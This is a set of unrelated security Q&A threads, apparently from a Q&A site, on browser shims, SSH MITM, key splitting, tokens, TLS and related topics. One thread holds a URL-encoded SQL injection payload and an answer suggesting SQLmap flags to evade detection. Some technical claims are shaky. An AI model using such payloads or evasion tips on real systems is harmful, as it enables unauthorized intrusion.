Can a shim (a.k.a. polyfill) be installed in IE, FF, or Chrome without user knowledge, and can it read passwords entered by user on a login page? The questions here are about shims in the 3 most commonly used browsers.

A shim (also known as polyfill) is a piece of code (often JavaScript or Flash) implemented to augment the native API in a web browser.

I have two questions  about this technology:

Can a shim be installed in IE, FF, or Chrome without user knowledge?
Does the code in the shim have access to login credentials entered by
user on a web page?

A developer chooses to write a polyfill because it fulfills his personal need. From this personal aspect may come all problems you may imagine, namely malicious JavaScript code.

  Can a shim be installed in IE, FF, or Chrome without user knowledge?

Surely. Drive-by download attacks which consist in malware delivery without the knownledge/consent of the visitor of a given compromised web application. Such attacks exploit vulnerabilities in the web browsers themselves or those of their installed plugins. Note that these plugins can either be innocuous but vulnerable, or malicious by design;

  Does the code in the shim have access to login credentials entered by
  user on a web page?

Shim or not, as long an attacker succeeds to install and run some malicious JavaScript code within your browser, anything can happen. I have no better example to give you than the notorious ZombieBrowserPack. Which is an opensource project developed first as a POC by Zoltan Balazs, and targets some of the most used browsers (Chrome, Firefox and IE). This plugin can be manipulated remotely to steal authentication credentials, and even bypass two-factor authentication mechanisms such as the ones implemented by Yahoo and Google. It can also hijack your Facebook account, or get your bank account credentials if you perform an online purchase. You can imagine such a plugin purposed to fulfill this or that feature (shim) and doing something nefarious behind in the background.


SQLmap finds injectable 'id' parameter but the response is 'Internal Server Error' I am trying to understand the SQLi so I ran SQLMap with '-vvv' parameter

4: Show also HTTP requests.

I did scan one of the vulnerable and 'free to hack' sites.
In one of the requests sent, the response from SQLmap was:

[22:25:10] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[22:25:10] [INFO] GET parameter 'id' appears to be 'AND boolean-based
blind - WHERE or HAVING clause' injectable (with --code=200)

I tried to use same payload
GET /showforum.asp?id=1%20AND%20%28SELECT%20CHR%28116%29%7C%7CCHR%28100%29%7C%7CCHR%2885%29%7C%7CCHR%28111%29%20FROM%20SYSIBM.SYSDUMMY1%29%3D%27tdUo%27 in Burp but it keeps throwing me 500 error.
Can someone explain me how did excatly SQLmap come to this conclusion that parameter ID is injectable, while there was an error?
I tried to compare different 500 error responses, but no difference between this specific payload ant other ones.
Any answer will be appreciated,
thanks.

500  Internal Error means that the SQLmap's payload is being detected and cannot fully exploit the target.  You  can try with option --random-agent and/or --hex maybe this will successfully do it.


CSRF Encrypted Token Pattern -- need for 'nonce'? For anti-CSRF Encrypted Token Pattern, the OWASP page  describes the pre-encrypted token as being composed of three items: the user's ID, a timestamp value and a nonce.

The programmatic need for the first two is obvious but what about the third?  What is the actual need for the random data component?

I get why in the case of the ordinary Synchronizer Token Pattern.

But what would be the problem for Encrypted Token Pattern with implementing a token composed of only UserId and timestamp, which is then subsequently subject to encrypt-then-mac.

Is it deemed important to make the encrypted token more cryptographically secure (by making the plaintext longer and less predictable)?

Not really. The nonce is there for anti-collision purposes, not cryptographic security. You could even store it as a counter in a database if you wanted; it's just that the timestamp has insufficient resolution to guarantee no collisions.

I should also point out that the patterns listed on the linked OWASP page are suggestions, and are not guarantees of security. For example, their suggested encrypted token pattern does not mention that you must use AEAD or Encrypt-then-MAC or you might as well be wasting your time. (And if you do go with Encrypt-then-MAC, you need separate encryption and MAC keys.)


SSH: reusing public keys and known-man-in-the-middle Usually, people recommend to use a single private-public key pair everywhere (if we're not talking about a possibility of compromising the private key):

Best Practice: “One per-user ssh key” or “multiple per-host ssh keys”
Reusing Private/Public Keys
https://serverfault.com/questions/80478/ssh-do-you-use-one-private-public-key-pair-for-each-remote-machine-or-a-single/80483#80483

It seems that this would result in a vulnerability when using client certificate authentication over SSH.  Since it is so popular to suggest, I suspect the "algorithm" below won't work. But I just don't get what exactly is wrong with it.

I've tried to make my description as detailed as possible, to minimize possible discrepancies, so, please excuse me for the length...

Preconditions

PC1 has both (S1_id_rsa.pub and  S2_id_rsa.pub) fingerprints in his known hosts.
Server1 somehow knows about existence of PC1's account on Server2.
Keys:

PC1 : has P1_id_rsa , S1_id_rsa.pub, S2_id_rsa.pub.
Server1, the attacker : has S1_id_rsa, P1_id_rsa.pub, S2_id_rsa.pub.
Server2: has S2_id_rsa, P1_id_rsa.pub

Algorithm

This is something like a well-known man-in-the-middle attack, but a bit different.

PC1 sends "Hi" to Server1
Server1 sends "Hi" to Server2
Server shares it's public key

Server2 sends Server1 S2_id_rsa.pub
Server1 sends PC1 S1_id_rsa.pub (instead of S2_id_rsa.pub)
PC1 accepts S1_id_rsa.pub's fingerprint (as it's known)

Two separate shared-secret tunnels are generated using Diffie-Hellman:

"Server1--Server2"

Server2 generates DH1.a, and sends DH1.A,signed with S2_id_rsa, to Server1
Server1 generates DH1.b and sends DH1.B to Server2
Tunnel established

"PC1--Server1"

Server1 generates DH2.a, and sends DH1.A, signed with S1_id_rsa, to PC1
PC1 generates DH2.b and sends DH2.B to Server1
Tunnel is established.

Client Authentication (Server2 now wants to be sure he is talking to PC1)

PC1 sends P1_id_rsa.pub to Server1
Server1 sends P1_id_rsa.pub to Server2
Server2 generates a challenge, which could be solved only with P1_id_rsa and sends it to Server1
Server1 just tunnels challenge to PC1
PC1 solves the challenge and sends answer to Server1
Server1 tunnels answer to Server2
Done.

Done

P.S. I've looked through public-key cryptography and man-in-the-middle attack on Wikipedia, and this quite detailed answer (my view of the whole process is largely based on it), but I've not found the answer..

I wasn't able to find a readable "complete ssh authentication and encryption processes for dummies"...

I've already asked the same question on Server Fault, but was suggested to re-post it here.

Usually, people recommend to use a single private-public key pair everywhere (if we're not talking about a possibility of compromising the private key)

Note that there are two key pairs involved in an SSH connection:

one to identify the server host (the server has the private key);
one to identify the user (the client has the private key), if using public key authentication.

The recommendations you cite are about user keys. Having a single private key per user is a viable model, though I don't particularly recommend it (the cost of having separate key pairs per host or site isn't that high). Server keys, on the other hand, are never duplicated. They are generated afresh when the SSH server is installed.

On this topic, beyond the posts you've cited in your question, see also What is the difference between authorized_keys and known_hosts file for SSH?

In the attack you describe, you've mixed up the roles of the keys. These are the host keys, ssh_host_rsa, and not user keys. This isn't directly relevant in how the attack you describe works, but may be part of your confusion.

The sticky point is at step 3.3:

  PC1 accepts S1_id_rsa.pub's fingerprint (as it's known)

There are two cases.

If PC1 has connected to S2 before, then PC1 (or more precisely the account of the user on PC1) has memorized S2's host public key in its known_hosts file. So if S1 sends S2's host key, the SSH client on PC1 will detect that the purported host key does not match the recorded host key and abort the connection with a scary message:

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.

The attack is thus impossible in this scenario (unless the user goes out of his way to bypass the check — OpenSSH purposefully makes this difficult).
If PC1 has never connected to S2, then PC1 will happily accept whatever S1 is now telling it is S2's key. Since PC1 has no prior knowledge of any association between the name S2 and a cryptographic identity, nor any way to contact a trusted third party who knows such an association (i.e. a public-key infrastructure), there is no way to prevent this man-in-the-middle attack.


What is the purpose of using Youtube-style alphanumeric ids as URL slugs? I asked a question on StackOverflow on how to generate the alphanumeric/base64 resource IDs that Youtube, Instragram, and others use to identify videos/pictures/etc. Discussion led to the question of why these IDs are used.

I assumed it was for two reasons:

To shorten URLs from long integer IDs to shorter ones.
To prevent casual URL hacking by editing the URL in a browser.

Is this true? Why are these IDs used?

Youtube must produce URL by which the videos can be referenced. They prefer that the URL be short. They can choose the ID in any way that they see fit, provided that it matches their constraints, in particular:

The ID must be unique (no two videos may share it).
The ID must "work well" with whatever indexing mechanism they internally use.

Deriving the ID from the video "title" would be problematic in several ways: difficult to guarantee uniqueness, the usual Unicode-related mayhem when people have the insufferable arrogance of using characters which are not in the ASCII set, and string-based indexing (whereas I can imagine that a database would be happier with a 64-bit integer as indexing key).

There is a priori no security issue here. There would be a security issue if the URL were meant to reference non-public documents, in which case the ability to "guess" valid URL would be problematic (a possible solution would then be to include a MAC in the ID). But Youtube videos are inherently public (they make no sense otherwise -- already, a number of them make no sense at all anyway).


Decentralised password recovery Are there good/established techniques for password/key recovery in situations without a centralised service?

(Anything goes, but I'd prefer solutions that distribute the recovery information across multiple places)

For example: I can imagine a system where a recovery key is generated, split using secret sharing and distributed e.g.

some parts downloaded to local computer
some parts emailed to yourself
some parts printed out and placed in a safe-deposit box
some parts given to friends to safeguard

This is essentially distributed key-escrow: are there some examples of existing systems that use a scheme like this?  Are there alternative schemes?  Are there best-practices?

Clarification: Personally, I trust myself to remember a relatively strong password - this is designing a system for other people to use, and not all of them might be confident doing that.

I wrote some comments up under your initial question, but I feel that combining my comments (which describe a solution) with all the answers mentioned thus far may produce something you can actually use (versus researching on your own).
As mentioned in the comments, split-key technology is the process of making X-number of sub-keys. The most common style of implementation is to require ALL X sub-keys to recover a protected key.
In the example I discuss next I'll define the following words to ensure clarity:
key: A crypto-variable that is static (aka, shared/symmetric) or is generated based upon a password or passphrase.
password: A clear-text or otherwise non-crypto-derived value that a human typically memorizes (or, shamefully, writes down on a sticky kept under their keyboard).
passphrase: For the purposes of this example a passphrase is identical to a password.
sub-key: A single chunk of recovery information that is equal in size to the key being protected.
split-key: The concept of breaking a recovery key into various splits (aka, sub-key's or chunks).
dictionary characters: The set of characters a user can enter into a recovery mechanism (e.g., A-Za-z0-9).
Now that we have that out of the way we can look at a method to implement this solution.

Assume that my password (as defined above) is IKnowThisIsBad.
I pass the password to the OpenSSL Linux bash command sha512sum and it outputs the hashed value: d3a48c640bbd58633138e2f88b2d3979e3d609df6cd22246dd73d35a77b6755fcf580be431a93c059bc7106ab8d37491d442339879947728d8da436a9c2c60c0
I use that hashed value (note: it is NOT salted at this point, I'm trying to keep it simple...) as my key. This is the key that we are going to protect and I use this key for all my relevant cryptographic purposes.
Let us assume we'll protect the recovery process by using 3 sub-keys (any number of sub-keys greater than 1 is valid, however).
We assume here that a user cannot remember such a sequence and thus cannot (in their head) store a sub-key. Nonetheless, to successfully (and properly) use split-key technology they must provide a chunk of appropriate length. We'll use our friend sha512sum again. In this example let us pretend that the user's passphrase for deriving their recovery chunk is My Secret Recovery Phrase. The output for that iteration produces: 196822a43878ff1c263fe16b6cb2d768b157cf1018ded64e6bab4d36822262ff7f61404ab21c2d279c6cfaa85112786044231917c484dcf3a81931d34fa86edd
Now we need a chunk that will be stored somewhere else. Using your example we'll say it's stored as text to an email. Back we go to our friend sha512sum to generate this sub-key value. We'll use the passphrase: Email Is Not Very Safe To Store Key Info!!, which yields the following value: a8a73e1c6ecd3f2ddff853901f3781fac5839d42cf360833e7148163beb2c05ad5288e6d3c30fd9e7a4bb854b7f507c70991f6c04c507c58028573b5f89ce6a7
At this point we have 2 out of the three recovery chunks or sub-keys generated. Regardless of how many sub-keys you make, the last one is treated special. If we had 10 sub-keys, then we could create the first 9 following the previous examples. If we had 30 then the first 29 could be created that way. But in any case, one value is generated special. To create the last recovery sub-key we must XOR all the know values up to this point together.
Let's look into this more closely.
The main reason we use XOR in cryptography is that it is recoverable (unlike OR and AND operations). When we XOR the previous three values (i.e., the key, the user recovery sub-key generated from the recovery passphrase, and the stored-in-email sub-key) we generate a 3rd sub-key that is automatically the same length as the other 3 inputs. This 3rd chunk can be assigned to your "download to local computer" recovery option. The result of this XOR operation (which can be thought of as: key ^ sub-key1 ^ sub-key2  -OR- key XOR sub-key1 XOR sub-key2) is: 426;94fc5?68`854eaff50ij?gcao?g`d7i2j;add=3af<3`71gehf0dm`26b7fa0511<7g1b`cjgc;g7`a65ibm5>340;l6`9?0d<k?`n40d7a352mm010gk=j8ecfc
I apologize for the weird formatting of that last output. It is necessary because the resultant sub-key value contained backtick (`) characters that had to be specially escaped.
At this point we save that final value somewhere as specified by the "download to local computer" policy.

Great. So that's a bunch of hash values, but how do you get your key back should it be lost from whatever underlying system(s) that use it? We recover all of the sub-key values and XOR them together. This will reproduce the original key value!
To prove this is the case I wrote a little Python blob that implements this XOR operation for arbitrary numbers of XOR strings. Find it below.
#!/usr/bin/env python

#KEY:    d3a48c640bbd58633138e2f88b2d3979e3d609df6cd22246dd73d35a77b6755fcf580be431a93c059bc7106ab8d37491d442339879947728d8da436a9c2c60c0
#RECOV1: 196822a43878ff1c263fe16b6cb2d768b157cf1018ded64e6bab4d36822262ff7f61404ab21c2d279c6cfaa85112786044231917c484dcf3a81931d34fa86edd
#RECOV2: a8a73e1c6ecd3f2ddff853901f3781fac5839d42cf360833e7148163beb2c05ad5288e6d3c30fd9e7a4bb854b7f507c70991f6c04c507c58028573b5f89ce6a7

#    RECOV3 is generated by running this script with the above 3 command-line values generated by 'sha512sum'
#RECOV3: 426;94fc5?68`854eaff50ij?gcao?g`d7i2j;add=3af<3`71gehf0dm`26b7fa0511<7g1b`cjgc;g7`a65ibm5>340;l6`9?0d<k?`n40d7a352mm010gk=j8ecfc

#    Recovery of KEY is accomplished by running this script with RECOV1 RECOV2 and RECOV3 as parameters.

import sys, binascii, argparse;

parser      = None;
stringlist  = None;

def xor_strings(base, new):
    return "".join(chr(ord(b)^ord(n)) for b, n in zip(base, new));

def SetParseArgs():
    global parser, stringlist;

    parser = argparse.ArgumentParser(description="XOR a bunch of strings!");
    parser.add_argument("string", nargs="+");
    stringlist = parser.parse_args().string;

def main():
    global sys, stringlist;

    SetParseArgs();

    res = stringlist[0];
    for index in range(len(stringlist) - 1):
        #skip string #1
        hexstr = stringlist[index + 1];
        res = xor_strings(res, hexstr);

    print "XOR result string:\n%s" %(res);

if __name__ == "__main__":
    main();
else:
    print "This script cannot be imported";
    print "Please run as: %s <string_1> <string_2> [string_n]" %(sys.argv[0]);
    print "For best (and most logically-correct) results, ensure strings are the same length";

This script can be used to create the recovery chunks, distribute them however you want, then use the script with ALL of the chunks and you will recover your original key.
This example should make it clear how recovery anything less than ALL of the chunks is just as useless as having none of them because an attacker would still have to brute-force every possible combination across the entire key address space.
I hope some of you find this useful. I enjoyed the exercise in putting it together and might actually use it myself now that the implementation is taken care of! :-)
Please comment on any typo's you observe. I used literal values for all examples above so anyone running the commands/tools described above will produce identical results. I wrote all pre-sha512sum'd strings to individual text files WITHOUT a newline at the end and fed them as parameters to sha512sum to create the key, sub-key1, and sub-key2.
Thanks and enjoy!


What a malicious user could do with a refresh token that cannot be revoked and has 1 year expiry time? In ADFS 4.0 a refresh token cannot be renowed without passing through an authorization request flow (asking the user again for credentials) and cannot be revoked.

I'm forced to put a 1 year lifetime for the refresh token to avoid forcing the user to enter his username/password each time the refresh token expires.

What is the risk if a malicious user steals this refresh token with 1 year expiry time?

If a user or attacker has a refresh token, then they can easily ask for an access token  and then access any protected resource. This is the definition of refresh/access tokens. They would also have access for the entire year, though even if they only had it for a day they could do just as much damage. Even with very short expiry times, if they were able to a get a token in the first place, they could replicate what they did the first time to get more tokens.

Now, can anyone get the refresh token? Not unless their computer is already compromised. Doing it remotely is going to be blocked by the ADFS most likely through methods of secure only / HTTP only cookies, forcing them to be transmitted over an encrypted connection and preventing JS leakage (Non web platforms will have similar protections). If someone is able to physically get on the computer and see the cookie, then they might as well just download a keylogger anyway.


PBKDF2: can the salt be known from the hash? I understand that some KDFs bundle the salt with the output, such as bcrypt (modular crypt format).

In PKCS5_PBKDF2_HMAC (specifically, looking at OpenSSL implementation) with a single iteration, is the salt knowable/attackable?

I am staring at a KDF implementation that runs a single iteration of PBKDF2-HMAC over some data, using the user password as the salt.

Is the salt at risk of being discovered/is this a proper use of PBKDF2?

(The data being hashed is itself output from the same KDF, but with a proper iteration count.)

  // hash 1 is not transmitted over network, and it used for symmetric encryption
  hash_1 = pbkdf2(salt=username, data=password, iterations=5000)

  // hash 2 is transmitted over network, as a password for auth
  // is the salt vulnerable?
  hash_2 = pbkdf2(salt=password, data=hash_1, iterations=1)

A “salt” which is derived from the input data is no salt at all. In other words, this is an unsalted hash function which only takes a password and an iteration count and calculates the resulting hash. If the iteration count is constant, then the same password always yields the same hash.

The whole point of the salt is that it's additional input. Contrary to popular belief, it's not secret in any way, but it must be sufficiently random.


future of graphical password authentication I'm a student currently pursuing my Engineering in Computers. I'm planning to put all my knowledge in and try to actually implement something related to security.
To be more specific I'm more interested in graphical way to authenticate a person.

So before i begin my questioning about core way of actually implementing graphical password authentication process and its related stuff i want to know some of its basis answers to some of its basis questions

Here it goes

Apart from ease of use What benefits do you think graphical password approach has ?
Is it really an alternative to text based and can it really replace text based in any sense?
Is a graphical password more secure and what is scope of graphical password in nearby future?
Will it be the next way to improve security and build more robust system or is there any other way you find it can replace text based password or addition in text based to make it more secure?

NOTE: when i say graphical password its not necessary that I'm taking about windows 8 picture password there are others way to implement graphical password system and that too in more secure prospect.

Well, you can break it down and look at it from a mathematical perspective.
A graphical image is really just a set of data being represented in a visual format for us humans. It's probably going to be salted and hashed to be kept safe on the authenticating machines, other than the fact that the input method might be a little different, (you might upload a pseudo-random bitmap for instance (which would need to be kept safe and never duplicated/transferred), or "draw" it in some sort of pre-organized format with enough entropy to be comparable to phrased passwords) it doesn't seem fundamentally different from your typical text-password scenario, other than the fact that people are probably far, far less likely to remember the intricate details of an image as opposed to a short sentence.


What are the career paths in the computer security field? What sorts of jobs are there, in which organizations, with what sorts of day-to-day responsibilities?

What areas are good for folks coming out of school, vs what are good 2nd careers for experienced folks coming from various disciplines?

As niche as "security" seems, it actually encompasses a few main types of roles, and a couple of areas of coverage. These are actually quite different...

Common roles:

Enterprise IT security department
These guys usually deal mostly with policy enforcement, auditing, user awareness, monitoring, maaaaybe some enterprise-wide initiatives (e.g. SIEM, IdM, etc), and an occasional Incident Response. Also probably give a security PoV on purchasing 3rd party products (whether COTS or FOSS), and in any outsourcing RFP.
Security team in development group (either in enterprise or in dev shops)
Mostly deal with programmer education and training, some security testing (or handling external testing, see below) - this includes both pentesting and reviewing code, maybe defining security features. Some orgs will have the security team also managing risks, participating in threat modeling, etc.
External consultant / auditor / security tester
This usually covers, in some form, all of the above, most often with an emphasis on penetration testing, code reviews, and auditing for regulatory compliance (e.g. PCI). In addition, serving as the security expert, go-to guys for the other types of organizations, such as supplying all the relevant advice.... therefore usually expected (though not necessarily the case ;-) ) to be more up to date than anyone else.
Researcher
This can include academic level research, such as cryptologists, and also research departments in some of the larger security vendors, researching and searching for new exploits / viruses / attacks / flaws / mitigation models / etc. These can actually be quite different, vendor research is often treated as product development, whereas academic research - well, I can't really speak to that, since I don't know...

Likewise, in all the above there are different areas of expertise, and an expert in one won't necessarily have anything intelligent to say in any other area:

Network security, e.g. routers, firewall, network segmentation and architecture, etc.
O/S security, which is of course further subdivided according to O/S flavor (i.e. Windows security expert and Linux security experts might not know much about each other's stuff).
Application security - i.e. how to program securely (which may be necessary to subdivide according to language, technology, etc.), but also application-layer attacks, e.g. Web attacks, etc.
Risk management experts - more focused on the business side, less on the technical
Compliance officers - some places have these dedicated, and they're experts on all the relevant regulations and such (note that this is borderline lawyer-like work!)
Identity architects - for larger, security conscious orgs, that have complex IdM implementations and the like...
Auditing and forensics experts, deal mainly with SIEM/SIM/SOC, and also with investigations after the fact.

On top of that, there are some that specialize in building the secure systems (at each level of the stack), and some that spend their time breaking them - and it is not always shared expertise.

There are probably even more niche-niches that I'm skipping over, but you're starting to get the picture.... As you can see, what a security guy or gal does on a day to day basis is as wide and varied as the companies in which they work, and the systems which they work on. Most often, this DOES require shifting several hats, and working mostly on short tasks... BUT what stays the same (usually) is the requirement to focus on the risks (and threats), whether its mostly a technical job as defining firewall rules, or communicating with the business and lawyer types about the organization's current security posture.

As to how to get into the field? Ideally, you have some experience (preferably expertise) in some other field, that you can then specialize to security.
You used to be network engineer? Great, start with focusing on network security, and go from there.
You're currently a systems administrator? Wonderful, you've probably worked a bit on security already, start learning more in that field.
You've been programming since you were a kid, and want to move to security? Fantastic, you should already have been learning about input validation, cryptography, threat mitigation, secure DB access, etc... Learn some more, figure out what you're missing, and then give me a call ;-).
And so on... On the other hand, if you have no background and want to START in security, that's tougher - because as I've explained, most often the security guys is expected to be the expert on whatever it is. You can try to join a pentesting team, and grow from there... The important part is to focus on risk management (and, for the technical, threat modeling).

I also strongly suggest reading lots of security books and blogs (I enjoy Bruce Schneier's stuff), and also try out OWASP for the application side of things.


Someone shared their google account with me, am I vulnerable? Recently a friend gave me the credentials to his Google account (GMail and password), so I could check his email while he was on a trip (with no cell signal).  He is a trusted friend and not especially tech savvy, so I don't suspect malicious intent. For the record, I thought this was a bad idea, but he insisted.

I was able to log into his GMail account and check his email as well as every other app that used Google for authentication. However, I did not give him my credentials, I only put his account on my device.

At this time I have access to all his information, but I'm worried he has access to mine as well. Is there any way I can check?  Is this even possible without him successfully logging in as me once (keep in mind he doesn't have my password).

Google login works in a very not mysterious way. You log into google, and your device remembers it's logged into google. If you have multiple accounts on your device, then you have multiple accounts on your device. This is of course a one way street. So unless they have logged into your account, then no, they have no access to your account.

Of course you can always check, just to be sure.

Log into your google account
Go into My Account(on google.com, click your avatar, select My Account)
Click Security and Logins
Scroll down to Devices And Notifications
Review Devices. If you see one you don't recognize, deauthorize it.

This way you can be sure only you have access to your account. Of course you friend can do this too, so don't go giving away his info.


Best practices for TrueCrypt + Yubikey combination I'm trying to find a secure and convenient way to encrypt my external disk with TrueCrypt. Currently I use a 50 character strong password but I'm tired of typing it every single time. I have a Yubikey and several USB sticks that I can dedicate for this task so I think I can harness two-factor authentication. I listed a couple of solutions and the best one I could come up with is below. Before doing anything I decided to get some expert opinion.

The ideea is using Yubikey with a static strong password. This will be something I have.
Also I'm planning to use keyfiles stored in a USB memory stick. The USB will not be encrypted but there will be hundreds of small files. And I will be using a small combination of them. So this will also be something I have but the combination will be something I know.
So even if someone manages to get hold of both items they won't be able to mount without the combination. Say if I have 100 files on disk and I use 3 files, there will be 161700 combinations.

From a convenience point of view, I'll have to plugin both devices. Touch the Yubikey once and select the keyfiles. It still doesn't sound very fast and easy but I'm hoping it'll be less painful than typing the password manually.

What do you think about this method? What would you propose to make this approach more secure or more convenient (without making it less secure) ?

Thanks in advance.

It's 161,700 combinations if the order of the files doesn't matter. If the order of the files does matter it's 970,200 combinations. But even 970,200 combination isn't enough against a committed adversary.

Let's say I have your Yubikey and USB stick but don't know the combination and want to brute force the combination. The TrueCrpyt encryption key derivation function runs SHA-512 on the password a thousand times so for 970,200 combination I would need to run SHA-512 ~1 billion times which would take ~10 seconds to do on a current generation GPU. Not very hard.

If you could increase the number of files to 10000 and use 5 files then (assuming the order of the files matters) you'll have almost 10^20 combinations which is probably good enough for this purpose, at least for the next few years until Moore's law catches up with you.

Even that might not be good enough if your adversary is the NSA, GCHQ or the like. So you may want to go with 100,000 files and use 6 of them for a grand total of almost 10^30 combinations which is equivalent to a 100 bit key and probably has more entropy than your current 50 character password.

Having said that it's not clear to me what you gain by re-inventing the wheel instead of using some off-the-shelf two factor authentication (or even three-factor authentication).


Why is my browsing history visible outside my network? Whatever I and my family members do at 'Home PC' is visible in the history in Google chrome in my 'Office PC'. The two networks are entirely different!

I saw all websites visited on our home PC by my brother on my office PC. I notice it is mostly Facebook and GMail and Google search results.

I do acknowledge that I open my same GMail account in office and home.

What is happening? I suspect that Google is porting our web activities by associating it with my email ID which I open at home and office. But I am not that aware in security.

Google Chrome has a Sync feature that synchronizes browsing history, configurations, bookmarks, etc. between Chrome browsers using the same Google Account. You've very likely used your Google/GMail account when starting Google Chrome the first time on both computers.

You can change the sync settings on your home computer and disable the items you don't want to sync. For example, you can disable syncing the browsing history.


What to do when Google disables SSLv3 and RC4? I've read this article from Google's Online Security Blog, and it says that Google will disable support for SSLv3 and RC4.

Here's the reason:

  SSLv3 has been obsolete for over 16 years and is so full of known
  problems that the IETF has decided that it must no longer be used. RC4
  is a 28 year old cipher that has done remarkably well, but is now the
  subject of multiple attacks at security conferences. The IETF has
  decided that RC4 also warrants a statement that it too must no longer
  be used.

When that happens, will we —the clients— have to do any kind of
upgrade or configuration?
What can we do right now?

I'm not sure if I understand well, will HTTPS disappear, or is it only about encryption upgrades?

Also there is a 'requirements' section in the article

  Specifically, we are requiring:

  TLS 1.2 must be supported.
  A Server Name Indication (SNI) extension must be included in the
  handshake and must contain the domain that's being connected to.
  The cipher suite TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 must be
  supported with P-256 and uncompressed points.
  At least the certificates in https://pki.google.com/roots.pem must
  be trusted.
  Certificate handling must be able to support DNS Subject
  Alternative Names and those SANs may include a single wildcard as
  the left-most label in the name.

As clients of domain name registrars and web hosting services, will we have to do any upgrade, or is this information only for them?

Basically, what I ask is: Should we get SSL Certificates for our websites still? If so, from where, or what version?

Basically what I ask is: Should we get SSL Certificates for our
  websites still?

Yes, absolutely.  TLS is simply a newer version of SSL, and they both use the same certificates.

An aside on the names - SSL was a Netscape protocol.  When it got mainstreamed as an RFC, they made some minor tweaks and renamed it TLS so that it wouldn't be confused with a "proprietary standard."  But in practice, people have used the terms SSL to refer to TLS and vice versa for years.  Only now, as we're getting serious about retiring the final SSLv3 protocol, is the confusion starting to cause problems.

  If so, from where, or what version?

You'll continue to get certificates from the same Certificate Authorities (CAs) like Verisign, Entrust, Comodo, etc. etc.  Aside from the SSL->TLS change, certificates now need to use SHA-2 instead of older hashing protocols like SHA-1.  Your CA should be issuing any new certificates with SHA-2, and should be able to help you navigate the change.

  When [SSLv3 is retired], will we —the clients— have to do any kind of upgrade or configuration?

If you're using a regular web browser, you're probably fine.  Only very old web browsers will have problems because of SSLv3 disappearing, IE6 on Windows XP being the biggie people talk about.

If you're using custom clients like Java code, curl, wget, openssl - then you probably need to be using a newer version.  The problem is that when someone codes an SSL client in Java, they're generally not updating it often because updating Java is hell.  So custom clients are going to have problems.


What exactly is CVE-2016-3862 and how does it work? I heard about maybe a week ago and it sounds to me like extremly critical vulnerability. But i didn't find any technical description of it. Just that you can remotely execute code just by sending your victim specially crafted image with changed exif.

Can someone give me better technical description of whats really going on ? I also know its bug in the C library so google already rewrote it in Java. Thanks for every advice. Also, is there public exploit available ?

I can't find any indication of this being active in the wild.

What is happening is that the code that examines and makes sense of image metadata, specifically the EXIF data is faulty. By carefully including invalid data (the details are not, of course, available), it is very likely causing a buffer overflow so that some of the data ends up in a memory space that belongs to active code and therefore gets executed. Clearly that memory space normally belongs to some privileged code. This type of issue accounts I think (last time I heard) for around 90% of all security issues in C/C++ code.

The problem with Android is that system updates are left to the carriers who choose when/if to send out updates from the phone suppliers who choose when/if to even apply fixes. It is a total shambles. It leaves many Android users with vulnerable phones. So while Google may have issued a fix, there is absolutely no guarantee that it will make its way through to handsets in use.


Does Windows "System Volume Information" folder pose a security risk in servers? I have a Windows 10 WAMP server running, and Windows by default has a hidden folder in every partition called "System Volume Information".
I can't access it because Windows denies it, but I noticed something strange.

If I have Apache running with directory listing enabled, I can see the contents of the folder by typing in the URL http://mydomain.com/system volume information. I can open the files inside this folder but they're all encoded, so it looks like gibberish. (They're .log and .dat files) If everyone can view this data, is anything compromised? Can people view the entire contents of my partition or something?

If I want this hidden I would have to go to each of my many webserver partitions and put a .htaccess file in all of them.

Am I at risk by leaving it open?

This is an old question, but a few points have been left out of the other answers.

First, to directly answer the question, yes, the System Volume Information folder can contain sensitive data. As Sorcha described, DFS in particular will store files there by default, but so will many other system services and applications. VSS, System Restore, etc as mentioned by dandavis. Most of these applications and services store their data on the System volume (C) or on the volume being backed up by VSS, so your exposure from the System Volume Information folder on volume G is limited to the data on volume G, though most of this can be configured away from the defaults.

However, there's more going on here than just the potential security risk of the System Volume Information folder.

Having Directory Listing enabled on Apache is a security risk.
Pointing Apache to the root of your volume is a security risk.

From this perspective, you're essentially expressing concern that someone might snoop around the contents of your closet when you've left your front door open. You can put a lock on the closet, but maybe you should just shut and lock the front door?

On a side note, I'm going to add that it sounds like you're using typical *nix practices, like splitting your website into multiple partitions, in a Windows environment. Windows is great if you need your server to do more than one thing, to integrate with other servers that do more than one thing, or to host a .NET website. If all you're running is Apache web server, you'll find nearly any flavor of *nix to be more secure and better performing.


ASP.NET session id strength After reading this and this, I am wondering if it is considered secure to use the default ASP.NET sessionID as a means to authenticate the user. I know it would be better to implement ASP.Identity, which has a much longer 'fedAuth' cookie next to the ASP session mechanism, however due to constraints, this is very difficult. Of course, in case the ASP sessionid is not secure enough to use as a means to authenticate the user, nothing is impossible.

What I want to know is, is it considered bad practice today to use the ASP.NET sessionID as a means to verify the user, when both the HTTP-only and Secure flags are set? A security comparison with ASP.Identity's cookie authentication would be nice, as the first source I listed seems to have a custom implementation, which I certainly do not want to implement. I'd rather see a comparison with something established.

Since both implementations rely on the security of the cookie to protect the session, that means the comparison mostly relies on the qualities of the cookie values (meaning if you steal either cookie you're in).

Both values are basically a value encrypted against a key stored server-side. Sessions uses a random value encrypted against the machine key, and ASP.NET identities uses a collection of values that describe the session identity encrypted against the machine key.

Sessions relies on an in-memory map (or persisted to DB) of the decrypted Session ID to session information, whereas Identities just rehydrates the session identity directly from the value stored in the cookie.

On the one hand, Sessions isn't portable because it relies on a pointer back to the value in memory so if you remove that pointer the session is dead. On the other hand, it really doesn't scale well.

From a purely security perspective they are more or less on par with each other, but Sessions was deprecated for a whole host of non-security-related reasons.


Not disclosing the password when tortured? In Citizenfour, Edward Snowden says:

  Because some of these documents are legitimately classified, in ways
  that could cause harm to people and methods...  Um, I'm comfortable in
  my technical ability, uh, to protect them. I mean, you could literally
  shoot me or torture me, and I could not disclose the password if I
  wanted to.  Um... You know, I...  I have the sophistication to do
  that.  There are some journalists that I think could do that, but
  there are a number of them that couldn't.  But the question becomes,
  can an organization actually control that information in that manner
  without risking basically an uncontrolled disclosure?

